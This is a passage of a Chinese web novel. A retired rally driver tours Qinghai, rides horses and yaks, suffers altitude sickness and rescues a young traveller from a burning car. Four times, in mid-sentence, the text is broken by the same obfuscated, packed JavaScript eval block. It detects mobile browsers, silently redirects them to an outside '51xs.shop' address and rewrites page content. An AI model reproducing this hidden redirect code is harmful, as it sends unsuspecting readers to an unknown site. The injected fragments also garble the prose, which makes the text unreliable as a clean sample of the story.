此时她的车前窗就像一块完整的画布,在以天蓝、草绿、土黄为基调的背景下,油菜花的明黄色看起来格外出挑喜人。 但还没来得及好好惊叹欣赏,同样跳脱的一抹蓝色便已出现在天边——它与天相接,但又完全不是同一种蓝。 而且它也不是那种大海的蓝色,包括陈睦从前看过的江水、河水、溪水、湖水,都没有这个色儿的。 她心下一惊,还特意把墨镜摘了看一眼。 然后她丝毫不打算改变这一评价——过强的光线下,摘掉墨镜只是让色彩看起来更加真实,她依然确定自己是头一回看到这个颜色的水域。 都不用看地图就知道那是青海湖了,它就差把“我是青色的海”写脸上了。 那里海拔3200多米,比起点的西宁足足高了1000米,到陈睦开车的这会儿还在往上爬坡。 它就这么稳稳当当地镶嵌在这大地上,像极了一枚被戒托高高托起的青色钻石。 此情此景如何能不分享,陈睦又一次试图拍副驾驶的胸口,语气惊喜:“徐来你快看……” 当然是拍了个空。 她一时僵住,心脏似乎也和那无处安放的手一起,在半空中悬了一会儿。 直到重新将手握在方向盘上,心跳才恢复了正常。 * 这也算某种创伤吧?因为在车队的那几年是人生中最开心的几年,所以每到开心的时候,就总觉得他们都还在身边。 一如那个解说嘉宾所言,陈睦的职业生涯几乎逢赛必奖,到了赛季连续得奖不是罕事。而在这么频繁的胜利之下,火焰车队的庆功宴硬是一次也没落下。 没人会觉得party开腻了,今天庆今天的功,明天庆明天的功。只要不用开车,那就喝酒、唱K、跳舞,换着法子狂欢。 让陈睦印象最深的是有一回拿了冠军,徐来先去准备篝火和烧烤,她开车载着车队成员们一路过去。 他们这个车队由徐来组建,实际规模很小,队内成员大多身兼数职——像徐来本人就同时担任经理和领航员,陈睦在做车手的同时也能当半个技师用。 这些年其他成员有的离开了,有的加入进来,来来往往变动不少,但参加那场篝火晚会的,恰恰都是陈睦特别喜欢的人。 当时豪豪累得打鼾,露露抱着话筒唱那个“让我们红尘作伴,活得潇潇洒洒”,小嘉还在复盘赛场情况,以备下一次更好地进行改装。 他们,包括徐来,其实都比陈睦年纪要小。 所以陈睦一直是拿他们当自个儿弟弟妹妹看,有时还挺心疼他们小小年纪满世界跟着参加比赛,又赚不到什么钱,就图个热爱。 但是就在那天,当她看见远处沙地上大漠孤烟直的时候,她着急地拍着副驾驶喊徐来看景,一抬手拍了个空。 然后才反应过来徐来不在车上,而那狼烟就是他放的篝火。 这个细节哪里逃得过后头几个小家伙的法眼。露露立刻歌也不唱了,发出“噫”的怪叫;小嘉也不说话,只是把墨镜撑起来捂着眼睛抿嘴笑;豪豪从睡梦中惊醒,不断地问他们“怎么了怎么了”。 陈睦也不知怎地突然有种被抓包的感觉,脸被夕阳映红,嘴还故作坦荡:“哎哟,不就是忘了徐来不在吗?你们至于这么大反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227680|151273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 然后露露和小嘉就演给豪豪看,陈睦从后视镜看到露露娇嗔地拍着小嘉,学她的语气说“快看快看,那边好漂亮啊”。 她是真想钻到刹车板底下去。 后来下车后见了徐来她也心虚,总是刻意装出一副不耐烦的样子,徐来一晚上问了她三遍怎么不开心。 苍天啊,她哪是不开心啊,她就是别扭劲儿上来了。 也就是那一天她确定了,她再也做不到拿徐来当弟弟了,她这分明是爱情。 * 但是怎么说呢,爱情这个东西,它也并不是什么神力。 就是说这玩意很美好,但是并不能解决所有难题,总有些什么会压在它上头,那是比爱情更重要的东西。 陈睦叹了口气,一手扶着方向盘,另一手拿过水杯座里的可乐,熟练地用牙拧开,一口气儿就喝完了。 四驱的车轮子转得飞快,刚才看着远在天边的湖,一晃便近在眼前。 刚看见时是惊叹,到这会儿就成了欣赏。陈睦摇下车窗,风便吹乱她的头发,吹来湖水的咸湿和油菜花的清香。 也挺好的吧。 她今年29岁了,赛车手就算没病没伤一般也就是30来岁退役,总有一天要适应离开赛场和伙伴的生活。 这不就提前适应着呢嘛,这不正在大草原的湖边看候鸟飞回来嘛。 陈睦没直接奔着青海湖景区去,而是一脚油门直奔最近的牧家乐——她得先把小羊问题解决了,不然总觉得心里搁着事儿。 妙的是她还在山坡上看到了一个小小的经幡。 车子轻松驶离公路,开过一段泥土地,进了牧场的大门。 陈睦刚下车就踩到个洞,险些崴了脚,没等她弄明白这洞是干嘛的,就见一个20出头穿帽衫的小哥跑了过来。 开口是流利的汉语,但分明带着浓浓的藏腔,招呼的声音格外开朗:“编个头发吗美女?” 这个,陈睦倒是不感兴趣。 她是看到白色毛绒绒才拐进来的,但近了一看发现原来不是羊,是牦牛。 然后稍远点儿的山坡上,还有马。 当然这些她也很喜欢:“小哥,你们家马能骑吗?怎么收费?” “骑马?骑马可以,我去帮你叫人!”然后一溜烟地跑开,跟一位刚从屋里出来的大爷说了几句。 这回应该真是藏语,陈睦一句也没听懂。 很快那边交涉完毕,小哥大老远就跟陈睦比划:“骑马绕一大圈80,一小圈60!” 陈睦的回答略显囊中羞涩:“那我骑一小圈吧。牦牛也能骑吗?” “牦牛?”小哥应了一声,又跑到另一屋去,跟门前坐着的一位妇人说了些什么。 转过头来继续比划:“牦牛走一圈40,骑着拍拍照20!” 陈睦觉得自己都不高大了:“那我……拍照吧。” 小哥这便抬手招呼她:“好,你跟我来,我先带你去骑马!” 陈睦赶紧追过去,一路上又踩了几个洞——不是这地上哪这么多洞啊! 好不容易追上这小哥,人都已经到马棚边了,她才得空问出来:“等会儿小哥……你们家还有羊吗?” 此时小哥已经把一匹白马从马棚里解下来,听着这话愣了愣:“羊?羊我们家没有。” 好嘛。 5. 牛马 怎么就这么难呢。 其实陈睦是有点失落的,但是她觉得身为一个成年人,不应该因为没抱到小羊就在旁人面前展现自己的脆弱。 藏族小哥给她挑了一匹温顺的白马,马头上还戴着一条红蓝珠子串起的链子,漂亮得很。 然后他伸出手臂示意陈睦扶着他:“来,你左脚先踩着马镫,然后你另一只脚跨过去……” 陈睦依言左脚先上,但马儿恰恰动了一步,右脚能没来及,就只能先下来。 小哥以为她是害怕,还笑嘻嘻安慰:“嗨呀,你这么高的个子还怕它嘛?哪怕摔下来又有什么,摔了反正也就是掉在土地上嘛!” 陈睦被他逗得想笑,但也不耽误重新踩上马镫,这次借着那条手臂轻巧巧地上了马。 然后小哥不断地做着手往里勾的姿势,嘴上说:“手扣在洞里,手扣在洞里。” 因为本身就不是标准普通话,陈睦一时没明白他说的是什么,坐在马上的样子可能看起来有些呆。 把小哥急得拿她的手往马鞍处塞:“对,就抓着这里,不管怎么样都别松手——然后你手机给我,我先给你拍照片。” 陈睦便一只手抓着马鞍,另一只手掏手机给他:“一共能拍几张啊?” 小哥还是那潇洒随性的语气:“想拍几张拍几张,拍到你满意为止。” * 那还挺好。 只可惜陈睦不太会摆姿势,剪刀手、大拇指、比心一套连招之后,她已经没有更多事情可以做了。 看她江郎才尽,小哥只好开始引导她:“手臂张开,哎对,很好;然后你可以趴低一点,跟马儿亲近一点,好;要不要墨镜摘掉再来几张?哎,很好,就这样……” 明明开车时灵活如八爪鱼的躯体,面对镜头却僵硬得可怕,看得出小哥很努力,但陈睦也是真不争气:“差不多了吧……” 小哥便把手机递还给她:“好,你看看行不行?不行可以再拍几张。” 陈睦点开相册一扫眼看过去——就这背景,还能有啥不行的:“行,可太行了,光风景就值回票价。” “好哎,那我牵着走了啊。你可以把手机给我,我再给你录两段视频。” * 这业务水平牛的。 坐在马背上,视角被抬高了,再加上马儿深一脚浅一脚,一开始陈睦还真紧张了一下。 不过她的肌肉控制力还是在,再加上天生的肢体协调能力,很快就找到了个中诀窍,随着马儿的脚步轻松地晃动腰肢。 她蠢蠢欲动:“小哥,要不你松手,我自己骑试试?” “哦,那不行的。”小哥连连摆手,“你不会骑马,要是马惊了你再摔下来,那问题就大了。” 陈睦刚想说车她都摔过别说摔马,但仔细一想她摔车的时候戴着全套护具,现在是肉体凡胎,还是别胡闹了。 于是打消这个念头,只是仰头看向天空和山坡,专心感受着天地间的灵气。 这真是风吹草低见牛羊……不对,是风吹草低见牛马了。 她总算又想起这茬来:“对了小哥,这边还有什么地方能跟小羊羔拍照吗?” 小哥一点儿磕绊没打:“小羊拍照的话你去橡皮山嘛!那边又不要你门票钱,又有大经幡,小羊还便宜——我记得抱着拍照就5块钱,现在不知道涨价没有……” 隐藏景点,get。 陈睦忙问:“这个……橡皮山,它远吗?” “不远,一点儿不远,你现在过去的话半个小时吧。” 于是陈睦就琢磨——反正留给日月山的一小时空出来了,那等会儿结束直接往橡皮山开,到那拍了照就跑,这样去半小时回来半小时,刚好。 就这样有了下一步规划,心里也安定不少。 说是60块钱转一小圈,但这一圈走下来其实不算小,回到马棚后小哥又原样扶了陈睦下来,再带她去跟牦牛拍照。 * 牦牛比马矮,但也比马臭,有趣的是它肚子两边的毛毛瀑布一样垂下来,侧面看上去像个长方形。 小哥打量了一下陈睦的体型,然后给她牵了只强壮的公牛过来,牛头上两个大角锋利骇人,所以他们还特意给牛角装了个塑料壳。 这头牦牛是装饰过的,配着大红的鞍,还有各种颜色的布条垂下来,莫名增添了几分神圣感。 而且它额头上也戴着那种漂亮的装饰链。 陈睦总算开口打听:“哎小哥,这个链子有什么讲究吗?我看刚刚那匹马也有。” 小哥一边扶她上去,一边看了一眼:“没什么讲究,这个就是额链,跟项链、手链一样,用来好看的。你喜欢你也可以买一条戴,很多景点都有卖的。” 是万万没有想到的走向,陈睦乐了:“人也能戴啊?” “嗯,好多小姑娘戴着玩呢,照相可美了。”小哥说着接过她的手机,已经蹲下来开拍了,“喜欢就买一条呗,也不贵。你长这么漂亮,你戴了肯定好看。” * 呀呀呀呀。 其实陈睦知道自己长得还不错,但印象中很少有人用“漂亮”这个词夸她——毕竟这个个头摆在这儿,长相也偏硬朗,甜美的词儿用在她身上总是略显违和。 再加上平时不是在训练就是帮忙改车,要么一身臭汗要么满手机油,形象上已经很埋汰了,论气质就更加随意粗糙。 反正跟车队成员们在一块儿的时候,她是没见有人“怜香惜玉”过,有事喊她的话照着肩膀捶一拳那是基本礼仪。 她从不生气。毕竟,她也没少捶别人。 所以乍听这小哥这么说,陈睦第一反应是愣住,紧接着脸就红起来,笑容想收都收不住:“嗯……这样嘛,那我之后留意一下好了。” “好哎。你看你这组照片就笑得自然多了,我再给你录段视频……对对对,就这样,再撩一下头发——哇,绝了,你这个视频发朋友圈,你朋友都得说你是大美女。” 小哥看她状态来了,又横过来竖过去多录了几段,然后才把手机还给她:“美女你看看怎么样,有需要我再给你拍。” 陈睦接了过来,手指头向下刷一刷——其实大多数照片都很相似,也没什么构图可言,但她就是觉得这钱花得值。 她不用人扶就从牦牛背上跳了下来,稳稳落地:“不用了,已经够美了——一共80对吧?我怎么付给你?” 这时刚才跟小哥协商的老人和妇人已经走过来,小哥一边把牦牛牵走,一边分别指指他们:“你分开扫,扫他60,她20。” 原来马跟牦牛还不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227681|151273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同一家的。 妇人的二维码先调了出来,陈睦便先扫了她的,但奇怪的是,付款页面却迟迟没有弹出来。 屏幕中央一直转着那个加载中的圈圈。 随着时间推移,陈睦在老人和妇人的注视下愈发局促:“嗯……你们这儿有wifi吗?” * 这时陈睦才发现那个小哥是此处唯一和她语言相通的人。 但他拴牦牛去了。 陈睦顿住片刻,然后赶紧去工装裤口袋掏钱包——好在她还是有身上带点现金的习惯。 她先掏了20给了妇人,妇人也没多说什么,跟她笑笑就回去了。 然后又拿出一张100的递给老人,问他道:“这个您找得开吗?” 老人没有接,眉头也皱了起来——他应该没听懂陈睦在说什么,但很显然他找不开。 那现在怎么办呢? 正当陈睦火急火燎地想着办法的时候,那小哥去又复来,老人便开口叫住他,着急地跟他说着藏语。 小哥一听就知道了:“哦哦,你没网是吧?没事,我给你开热点。” 陈睦长长地松了口气。 * 连上热点网络就通畅多了,钱顺利地扫了过去,老人的眉头这才放松下来,笑逐颜开。 但陈睦还没搞明白:“所以你手机为什么会有网?” “我是华为手机,网相对好一点。”小哥这么解释,“苹果手机在这边很多网不好的,如果你是电信的卡,可能就更不行了。” “……”陈睦还真是苹果加电信,甚至还是老款苹果。 不管怎么说,能把钱付上就万事大吉——就是因为抱着这样的想法,关于“间歇性没网”这件事的可怕程度被陈睦无限弱化了。 她甚至没意识到她是借着这位小哥的热点,才能顺利开启前往橡皮山的地图导航。 新的车辆已经驶入,小哥又得招呼去了,陈睦也边往停车处走边跟他道别:“谢谢啊小哥,那我就走啦!” 小哥依旧精力旺盛地跟她摆手:“好嘞!有空常来玩啊!” 说得好像他们是邻居一样。 陈睦好笑地比了个OK的手势,眼瞅着就要上车了,却忽然发现地面上有什么东西在飞窜。 还没等她看清,那小玩意就已经隐入了洞里。 嗯? 陈睦眨眨眼,开始盯住地上的洞……果然,很快又有异动,是一个毛绒绒带耳朵的后脑勺从地洞里冒出来。 是仓鼠吗?还是小野兔?搁这狡兔800窟呢? 陈睦试探着向前一步,那小家伙便警惕地回头看了她一眼,然后“嗖”得又钻了回去。 好可爱! 大腮帮子三瓣嘴,陈睦一下就想起来,这是那个网红小动物,那个兔鼠! 她会心一笑,这次倒是没有再试图拉着谁一块儿观看。 牧场迎来了新的客人,陈睦也要继续上路了。她很清醒地接受了自己现在是一个人——一个人的旅程,一个人的生活,大家都是来来去去,她也没什么可走不出来的。 不能与她同行,向来是旁人的亏损,而不是她的落单。 开门,上车,系安全带。陈睦长长地吐出一口气,踩下油门向着隐藏地图“橡皮山”进发。 6. 爆炸 所以羊呢??? 陈睦一路上倒是有看到漫山遍野的羊群,但是大多都是放出来吃草撒欢的,不像之前藏族小哥家那样是装了大门的牧家乐。 那么人家好好地放着羊,她一个旅客贸然上前问有没有小羊羔可抱,似乎就略显冒犯。 但她也是真没想到,车都开到橡皮山了,却愣是一只小羊也没看见。 经幡倒是有,很高、很大、很漂亮——难道小羊在经幡另一边吗? 陈睦已经开始急了,在这个山头上来来回回跑了一圈,确定了是真没有。 倒是找到机会上了个厕所。 刚好厕所附近有个卖虫草、药酒的摊点,她不死心地上前询问:“你好,请问这边有那个小羊拍照吗?” 回答在意料之中:“你进去看看吗,有就有,没有就没有了。” 陈睦仰头看着天空叹了口气。 * 在自负和自闭之间左右横跳,片刻之前的欢乐已经一扫而空。 陈睦颓然坐回车里,麻木地看着面前的方向盘。 毫不夸张地说,她想大哭一场。 印象中她以前没遇到过这么难的处境,她总是能够冷静判断什么时候能再快一点,是否还能再迟几秒松油门;她总能把其他赛车远远甩在后面,然后下车后故作谦逊地跟对手握手,心里暗嘲对方真是个废物。 但现在她已经连只羊都找不到了。 是全西北的羊都在躲着她走吗?她是想抱小羊又不是要吃小羊,她难道是什么很坏的人吗? 为什么她不能在最擅长的赛道上继续走下去啊?一个人能在某方面展示远超常人的才能,而且还坚定地选择了在这条路上深耕,这是多么幸运、多么不容易的事情,凭什么剥夺她继续竞争的权力? 如果终有一天要收回她的天赋,那还不如从一开始就不要给她,为什么要在她挣扎过、努力过、奋斗过之后,在临门一脚的时候,突然让她前功尽弃? 这太不公平了,太欺负人了,老天为什么这么戏弄她,难道她是什么很贱的人吗? 身体也越来越不行了,以前绕着体育场一圈圈地跑都能跑上瘾,发汗也只觉得舒服,这才在山头上跑了一趟,就喘得跟拉风箱一样。 陈睦是真不想在这儿哭,就仰头睁着眼睛干喘,可能是因为憋眼泪憋得太用力,头还疼了起来。 她想按住自己的太阳穴忍耐,但连手指头都使不上力气,那些年对别人的轻蔑如潮水般报应回来,她甚至往自个儿额头上捶了一拳,痛骂:“废物!” 眼泪终于再也忍不住了,伴着鼻涕哗啦啦地往下流,陈睦崩溃地到处找纸,才终于在后视镜里看到了路边那个醒目的巨石。 上面写着——“橡皮山,青藏第一关,海拔3817米”。 哦,原来是高反了啊。 * 陈睦躺在驾驶座上吸氧,又喝了瓶可乐补充体力。 自己并不是体能废,只是高反了而已——这样的认知让她轻松了不少。 但是赶紧恢复一下把车开下山去是正事。 陈睦之前比赛时没少去高原地区,但是每次海拔刚升上去时都是先适应再活动,不会上来就这么疯跑。 这次是临时起意偏离路线,事先没想到橡皮山会这么高,不过好在她准备充分,应对高反的措施倒是都做了。 就这么躺着缓了一会儿,感觉状态差不多了,陈睦才把氧气放下,起身重新调整座椅。 这个时候她犯了一个严重的错误——因为橡皮山门口公路上的游客车几乎都在往同一个方向行驶,她就觉得往这边开准能返回大环线上,再加上她急于趁着状态好下山,所以就随大流上了路。 然后在行驶过程中,她才试图打开返回青海湖的地图。 没有网,根本没有网。 * 陈睦确实下了离线地图,但这东西的用法是,在有网的时候选好路线,之后开车过程中哪怕路过没网的无人区,导航也可以一直持续。 但它没法在没网的时候进行定位和规划路线。 不过此时的陈睦依然不慌,因为外面横竖就一条路,大家都在往这个方向开,她还能跑丢了不成? 直到头顶蓝色的公路牌开始显示“茶卡盐湖”的字样,她才反应过来不对劲。 公路上不能停车或突然减速,她只能一脚油门下到路边去。 这时候是下午4点,道路两边开阔无际,不见山体。 海拔应该是已经降下来了,但这地貌分明也不再是草原,已经仅剩光秃秃的土地和那种低矮的球状植株。路两旁倒是零星有几棵算得上是树的,枝干冲天树叶整齐,陈睦怀疑这就是她在支付软件里种的那个梭梭树。 这是到了戈壁滩了。 外面烈日炎炎,但车内20度;沙石荒凉,但公路上热闹的车流又冲散了这种孤寂。 陈睦停在路边思考—— 她以为橡皮山是环线之外的某个点,所以就想着既然偏离环线了,只要跟着车流开回去就好了,但现在看来好像不是这样。 如果说她从青海湖开到橡皮山,再从橡皮山随大流走,目的地却是下一景点茶卡盐湖,那意思就是橡皮山其实就在环线上,它是一个处于青海湖和茶卡盐湖之间的景点,只是比较小众,通常不被提及而已。 也就是说她如果想回青海湖,出了橡皮山之后应该往车流的相反方向开才对,但她现在顺着车流开,就离青海湖越来越远。 现在她有两个选择—— 第一,继续开下去,放弃青海湖直接去茶卡盐湖,然后按原计划抵达德令哈,弊端是没法近距离欣赏青海湖的风景了。 第二,现在逆车流返回青海湖,但这样要走两遍重复路线,多花费近两个小时时间。 一丝丝纠结。 陈睦是个不爱走回头路的人,她更喜欢横冲直撞不管不顾地向前,通常来说她肯定油门一踩就开走了。 但是该说不说青海湖是真的很美啊! 都知道她出来玩了,完事儿人家问她去哪了?她说去青海了。那一般人也不知道青海有啥,顶多问她青海湖去了没?她难道说她就远远地看了一眼?因为她走错道了? 这听起来很蠢啊,人家会觉得她不光把腰摔坏了,脑子也摔坏了。 尤其是,比赛时她是负责开车的,徐来是负责指路的,现在她一个人开车开错方向,就好像她没了徐来是真不行一样。 陈睦焦躁地看向窗外那遥远的地平线。 豪豪说的一点儿不假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227682|151273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她这人真的很好面子,她对这两种方案的选择困难已经远超常人。 但有时候看着这样辽远的景象,她又觉得生命一粟,人生须臾,这些烦恼也不过是庸人自扰。 她也曾多次站在人生的十字路口,纠结到底应该往哪里走,如果早知最终是这样的结局,选左选右还不都随便了。 就像现在很流行的那句话说的,不过就是“在泰坦尼克号上选座位”罢了。 陈睦轻叹一口气,决定还是跟随自己的本心走,而她略一感知,觉得自己现在最想做的事是吃碗酸奶。 于是伸手从副驾驶上掏了一碗过来。 经过了四个小时的车程,酸奶已经澄出了一部分水,风味或许受些影响,但吃起来还是不赖。 除了面上一层黄色奶皮以外,下面都是雪白的酸奶,吃到嘴里好像比一般酸奶香甜,但酸溜溜的风味不减。 陈睦午饭吃的兰州拉面,到这会儿早就饿了,吃酸奶如吃粥,呼噜呼噜地就扒拉下去。 但是肚子垫上之后,困劲儿便上来了,所以她又探手去拿咖啡。 却被不远处的一道烟柱吸引了视线。 * 那确实不算远,从一个黑帐篷后头飘出,应该是在烧烤。 真会享受。 陈睦降下车窗寻思闻闻烤肉味,闻到就是赚到,但几乎是车窗打开的瞬间,她就意识到味儿不对。 有股子焦味——像橡胶烧焦,又像塑料烧焦。 没等她确定下来,烟柱就已经发展成了滚滚黑烟,她才反应过来那不是黑帐篷是一辆车的底部,这不是烧烤是有人翻车了! 陈睦都不知道自己手上的咖啡是怎么没的,瞬间双手全按在方向盘上了,脚上也踩到底直冲黑烟而去。 那一瞬间,她以为自己的腰会断掉。 * 还没到跟前她就认出这破车了,她有想过这小伙子可能要捅娄子,但她万万没想到人能捅出这么大的娄子。 到她下车时破车的尾部已经完全烧了起来,车身摔成了主驾驶向下的姿势,等于把驾驶员扣在了里面。 小伙子求生意志十分顽强,他已经从驾驶座里抽身,运动鞋鞋底哐哐地踹着汽车前窗。 但这举动在陈睦眼里就跟被困在玻璃瓶里的蜘蛛一样徒劳,他腿踹断了也别想出来。 而小伙子也已经注意到向这边飞奔的陈睦了,他立刻大喊,喊的啥陈睦也没听清,估计是“救命”。 她直接一脚蹬在了车前窗上,借着后视镜的力攀上了副驾驶的一边。 这时候杨糕要往上看才能从副驾窗口看到她,那有力的大手高高抡起一枚破窗锤,恍若雷神之锤。 * 整个救援时间不超过十秒,其中还有两秒是临到快出来时杨糕突然喊了声“我的包”,然后回身把包也拽上了来。 这时候陈睦已经不想管他了,毕竟炸车就是一瞬间的事,她直接跳下车去撒腿就跑。 杨糕也没想到这个好心救他的姐姐竟然救一半人没了,向上伸的手愣了半秒。 然后凭借超凡的引体向上能力连人带包一起爬了上来,一边嗷嗷叫一边追着陈睦的背影飞奔。 巨响和热浪同时传来,但是他们谁也没有回头看爆炸。 7. 别扭 杨糕腿都要跑抽筋了,看见陈睦已经开门上车,他的第一反应是:“等等我!等一下!” 他现在十分清楚,不被丢下的唯一的办法就是他自己不掉队,这个姐有点善心,但不多。 陈睦也如他所料行云流水地松手刹挂挡,踩下油门时杨糕才刚打开后排车门。 他的选择是猛地抱住后门让脚腾空——陈睦的反应让他觉得留在这里非常危险,现在就是宁愿被车拖死也不想被火烧死。 下一瞬,也不知是故意的还是无意的,陈睦猛地一打方向,后面那么大个小伙子直接被掼进了车里,连车门都关死了。 * 那之后陈睦驱车速速远离了爆炸点。 破车确实又“砰砰”地爆了几次,车轮子都飞出老远,这要是被嘣到只怕也不是轻伤。 陈睦已经在戈壁滩腹地停下,大老远看着车辆在大火中熊熊燃烧,手上也重新捡起了刚才掉落在地的咖啡,拧开瓶盖喝两口压压惊。 到缓过劲儿来了,才听见后面“哎哟哎哟”的痛呼声。 她才惦记起后面这人来:“你没事吧?我跟你说你要受伤了可不能赖我啊,没我你命就没了。” 然后一只大手按住她的座椅靠背,好像使出吃奶的劲儿才把整个身体支楞起来,怔怔地坐到后排座椅上去。 陈睦看他好像没什么事儿,又去看后排的车门车窗:“还有我这车是租的,要出了什么问题你可得赔,你不能让我又救你命又自掏腰包……” 话音未落,后面已经传来“吭哧吭哧”的声音。 劫后余生的少年直到这时才从那种命悬一线的紧张感中抽离,拖着酸痛的身体抱住陈睦放在后排的一袋零食,嚎啕大哭。 * 可以理解,因为陈睦也怕得要死,她也想哭。 她虽然熟知翻车的自救、救援要领,但毕竟不是专业的救援人员,这种事她上一次遇到,还是自己翻车的时候。 但她这次毕竟是以救世主身份出现的,现在正被人崇拜着,要是表现出害怕的样子那可太掉价了。 她理应给人安全感才对。 这么想着,陈睦拿了瓶矿泉水递给他,伸手的时候手还有点抖:“没事儿了啊,这不跑出来了吗?算你小子走运,碰上我了……” 小伙子没力气伸手接,但口条倒还很利索,至少证明脑子没摔坏:“我踹那个玻璃了,我踹得可用力了,但是根本踹不动,它就跟堵墙一样结实……” “你踹挡风玻璃肯定没用啊,区域钢化玻璃还带夹层,你看我拿着破窗锤我都不去捶它。下次要踢你踢侧窗……” “可是倒着踢我使不上力气!” “是啊所以我不是去帮你了吗?” “但是你帮到一半就走了!”小伙子差点都没想起来这茬,“那一下我要是没撑上来,我就死在里面了!” “那你应该庆幸你没害死别人。”陈睦理直气壮地摊手,“开着这么个破车非要上路,完事儿只死自己一个,你说说这是多好的事儿啊。” * 好气,吵不过,主要是杨糕觉得她说得对。 好处是眼泪止住了。 他不是那种不听劝的人。当初这个姐姐跟他说车不能开了,他第二天就去租车来着,但是他这趟出来没带多少钱,旅拍大业也还没开张,就只能去便宜点的租车点看看。 因为不信任小作坊,他特意没在网上下单,而是先实地勘察,结果刚好又遇上她。 当时陈睦一番操作猛如虎,自以为魅力四射帅气逼人,但落在杨糕心里只觉得分外悲凉——世风日下、人心不古,可能什么时候等他也成长成为这种游刃有余的社会青年,才能在这世间如履平地吧。 于是他决定先出发再说。 由于后知后觉地反应过来自己在和表姐的通话中暴露了自己“在西宁吃手抓”,所以杨糕着急地想要先离开西宁,大不了等到了德令哈再看有没有能租车的地方。 而且途径的三个比较有名的景点,除了日月山封山以外,青海湖和茶卡盐湖都是他赚钱的好去处。 是的,做足攻略的杨糕根本就没往日月山那边拐,直接奔着青海湖去了。 但是青海湖游客最多的二郎剑景区,门票需要90元,摆渡车往返120元。 他总不能一分钱没赚先在这儿花200多。 于是他瞄准了青海湖附近商业化程度不高,但同样十分美丽的黑马河景区,那里门票0元,摆渡车往返30元。 咬咬牙支付掉这30之后,他就开始在青海湖边游荡,试图找到需要拍照的潜在客户。 打扮得漂漂亮亮的小姐姐比比皆是,但是那种大多自己就很会拍了,他鼓起勇气过去询问是否需要帮她们合照,也都是一听说还要收费就算了——也是,人家明明可以找路人帮个忙,何必非要找他这个又要收钱又水平未知的。 他吸取教训,打扮太漂亮的不能找,那不如试试看找带小朋友的——做父母的总是希望给孩子留下宝贵影像,但是可能又能力有限不知道怎么拍好看,那就很需要一个平价的旅拍。 他试着接近了几家,但往往是妈妈很心动,想要拍亲子照,爸爸不同意,严词拒绝。 如果他还想坚持推销,那做爸爸的甚至要把脸拉下来赶他走。 杨糕垂头丧气地来回转悠,内心的想法已经从“赚点路费”变成了“回回本钱”,至少把他坐摆渡车的30块挣回来。 这时他看到了绝佳的机会——一个漂亮姐姐正跟自己男朋友发火,嘴上说着什么“你这个构图就是有问题啊”“你根本就没用心拍啊”“你看你把我的腿拍得这么短”。 他赶紧上前去:“姐姐,需要我帮你拍吗?我拍照技术很好的!” 如果不是他跑得快,他可能要在青海湖边挨打。 * 路费-30。 于是从青海湖退出来之后的杨糕继续上路,他想着这就算是积累经验了,等到了茶卡盐湖肯定不会再这么点儿背——那边想拍出天空之境的效果还是需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227683|151273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点技术含量的,他肯定能接到人生第一单。 他一路翻山越岭,绕过牛羊群,驶过橡皮山,全力开往茶卡盐湖。 却在半路绝望地发现……起风了。 * 茶卡盐湖是个非常吃天气的景点,必须得是晴天无风,才能拍出镜子一样的湖面。 可现在风这么大的话,就算技术再好也拍不出效果来啊。 他轻叹一口气,肚子也叫了起来,有那么一瞬间他也开始觉得自己不该这么犟——要是没作死的话,他这会儿应该在空调房里玩手机才对。 而不是为了不模糊驾驶视野,连眼泪都不敢掉。 为防止鼻涕滴下来,他用力吸吸鼻子……然后他就会发现事情没有最坏,只有更坏。 一股子刺鼻的烧焦气味传来,杨糕想过最差的结果是这车开着开着忽然罢工歇菜,但万万没想到它是要给他来点更刺激的。 他知道这车的配置不能下戈壁滩,但第一反应却是怕它直接烧在路上炸着旁人,于是手忙脚乱之下一打方向直接冲了下去。 车辆减震奇差,跑在沙石土块上,差点把他的五脏六腑颠出来。 但是就在他觉得已经离公路够远了、可以停下来快跑了的时候,或许是因为一脚刹车踩得太急,车辆猛得一个侧翻。 他就在“哎哎哎”的呼喊声中,被倒扣在了地上。 * “谢谢你救我。”在被陈睦噎住三秒后,他到底还是别别扭扭地道了谢。 